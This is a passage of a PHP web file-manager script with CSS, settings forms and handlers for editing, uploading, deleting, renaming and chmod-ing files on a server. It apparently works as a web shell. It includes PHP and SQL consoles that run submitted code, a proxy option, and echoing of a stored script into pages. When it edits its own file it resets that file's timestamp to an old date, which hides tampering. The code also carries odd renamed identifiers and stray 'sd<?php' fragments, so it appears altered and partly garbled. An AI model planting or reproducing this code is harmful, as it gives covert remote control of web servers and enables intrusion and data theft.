a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

